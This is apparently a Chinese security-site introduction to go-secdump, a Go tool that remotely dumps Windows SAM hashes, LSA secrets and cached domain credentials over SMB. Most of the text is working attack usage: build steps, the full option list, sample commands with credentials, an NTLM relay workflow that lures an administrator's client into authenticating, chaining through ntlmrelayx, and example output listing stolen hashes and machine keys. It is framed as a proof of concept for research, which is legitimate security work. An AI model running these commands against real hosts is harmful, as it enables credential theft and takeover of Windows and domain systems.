go-secdump是一款功能强大的Windows注册表安全检测工具,该工具基于Go语言开发,能够利用远程转储目标设备Windows注册表中的机密来检测其安全防护态势。
运行机制
该工具基于go-smb实现其功能,支持通过远程转储的形式从目标设备SAM注册表配置单元提取哈希值以及从SECURITY配置单元提取LSA敏感数据和缓存哈希值,整个过程无需任何远程代理,也无需接触磁盘。
该工具本质上是一个PoC,可以帮助广大研究人员了解和研究Windows注册表中SAM配置单元和SECURITY配置单元等内容的安全保护方式,以期更好地提升Windows设备的系统安全性。
工具下载
由于该工具基于Go语言开发,因此我们首先需要在本地设备上安装并配置好最新版本的Go环境。
接下来,广大研究人员可以直接使用下列命令将该项目源码克隆至本地:
git clone https://github.com/jfjallid/go-secdump.git
然后切换到项目目录中,使用下列命令完成源码构建:
cd go-secdump`` ``go build main.go
工具使用帮助
Usage: ./go-secdump [options]`` `` `` ``options:``
--host <target> 远程服务器的主机名或IP地址``
-P, --port <port> SMB端口 (默认为445)``
-d, --domain <domain> 用于登录的域用户名``
-u, --user <username> 用户名``
-p, --pass <pass> 密码``
-n, --no-pass 禁用密码提示,不发送凭据``
--hash <NT Hash> 用户密码的十六进制编码NT哈希``
--local 作为本地用户而不是域用户进行身份验证``
--dump 将SAM和SECURITY配置单元保存到磁盘``
--sam 显式提取SAM配置单元中的机密``
--lsa 显式提取LSA机密``
--dcc2 显式提取DCC2缓存``
--backup-dacl 在修改之前将原始DACL存储至磁盘``
--restore-dacl 使用磁盘备份恢复DACL``
--backup-file DACL备份文件名 (默认为dacl.backup)``
--relay 启用SMB监听器,用于将NTLM身份验证中继到远程服务器,强制使用SMB 2.1,无加密``
--relay-port <port> 监听端口实现中继 (默认为445)``
--socks-host <target> 通过SOCKS5代理服务器建立连接``
--socks-port <port> SOCKS5 proxy port (默认为1080)``
-t, --timeout 超时时长 (默认为5)``
--noenc 禁用SMB加密``
--smb2 强制使用SMB 2.1``
--debug 启用Debug模式``
--verbose 启用Verbose模式``
-o, --output 写入结果的文件名 (默认为stdout)``
-v, --version 显示工具版本信息
go-secdump将自动尝试修改然后恢复目标注册表项的DACL,但如果在恢复过程中出现问题(例如网络断开连接或其他中断),则远程注册表将保留修改后的 DACL。
使用--backup-dacl参数可以存储修改前的原始DACL的序列化副本。如果发生连接问题,可以使用--restore-dacl参数从文件中恢复DACL。
工具使用样例
`./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local`
or
`./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam --lsa --dcc2`
`./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam`` ``./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --lsa`` ``./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --dcc2`
该工具还支持使用NTLM中继转储注册表机密,下列命令可开启监听器:
./go-secdump --host 192.168.0.100 -n --relay
想办法触发一个具备管理员访问权限的客户端去访问192.168.0.100,然后等待机密转储成功即可:
YYYY/MM/DD HH:MM:SS smb [Notice] Client connected from 192.168.0.30:49805`` ``YYYY/MM/DD HH:MM:SS smb [Notice] Client (192.168.0.30:49805) successfully authenticated as (domain.local\Administrator) against (192.168.0.100:445)!`` ``Net-NTLMv2 Hash: Administrator::domain.local:34f4533b697afc39:b4dcafebabedd12deadbeeffef1cea36:010100000deadbeef59d13adc22dda0`` ``2023/12/13 14:47:28 [Notice] [+] Signing is NOT required`` ``2023/12/13 14:47:28 [Notice] [+] Login successful as domain.local\Administrator`` ``[*] Dumping local SAM hashes`` ``Name: Administrator`` ``RID: 500`` ``NT: 2727D7906A776A77B34D0430EAACD2C5`` `` `` ``Name: Guest`` ``RID: 501`` ``NT: <empty>`` `` `` ``Name: DefaultAccount`` ``RID: 503`` ``NT: <empty>`` `` `` ``Name: WDAGUtilityAccount`` ``RID: 504`` ``NT: <empty>`` `` `` ``[*] Dumping LSA Secrets`` ``[*] $MACHINE.ACC`` ``$MACHINE.ACC: 0x15deadbeef645e75b38a50a52bdb67b4`` ``$MACHINE.ACC:plain_password_hex:47331e26f48208a7807cafeababe267261f79fdc38c740b3bdeadbeef7277d696bcafebabea62bb5247ac63be764401adeadbeef4563cafebabe43692deadbeef03f...`` ``[*] DPAPI_SYSTEM`` ``dpapi_machinekey: 0x8afa12897d53deadbeefbd82593f6df04de9c100`` ``dpapi_userkey: 0x706e1cdea9a8a58cafebabe4a34e23bc5efa8939`` ``[*] NL$KM`` ``NL$KM: 0x53aa4b3d0deadbeef42f01ef138c6a74`` ``[*] Dumping cached domain credentials (domain/username:hash)`` ``DOMAIN.LOCAL/Administrator:$DCC2$10240#Administrator#97070d085deadbeef22cafebabedd1ab`` ``...
当使用 ntlmrelayx.py 作为上行代理时,提供的用户名必须与经过身份验证的客户端匹配,但密码可以为空:
`./ntlmrelayx.py -socks -t 192.168.0.100 -smb2support --no-http-server --no-wcf-server --no-raw-server`` ``...`` ` ` ``./go-secdump --host 192.168.0.100 --user Administrator -n --socks-host 127.0.0.1 --socks-port 1080`
许可证协议
本项目的开发与发布遵循MIT开源许可协议。
项目地址
go-secdump:
https://github.com/jfjallid/go-secdump
【FreeBuf粉丝交流群招新啦!
在这里,拓宽网安边界
甲方安全建设干货;
乙方最新技术理念;
全球最新的网络安全资讯;
群内不定期开启各种抽奖活动;
FreeBuf盲盒、大象公仔......
扫码添加小蜜蜂微信回复「加群」,申请加入群聊】
https://github.com/jfjallid/go-smb
https://www.passcape.com/index.php?section=docsys&cmd=details&id=23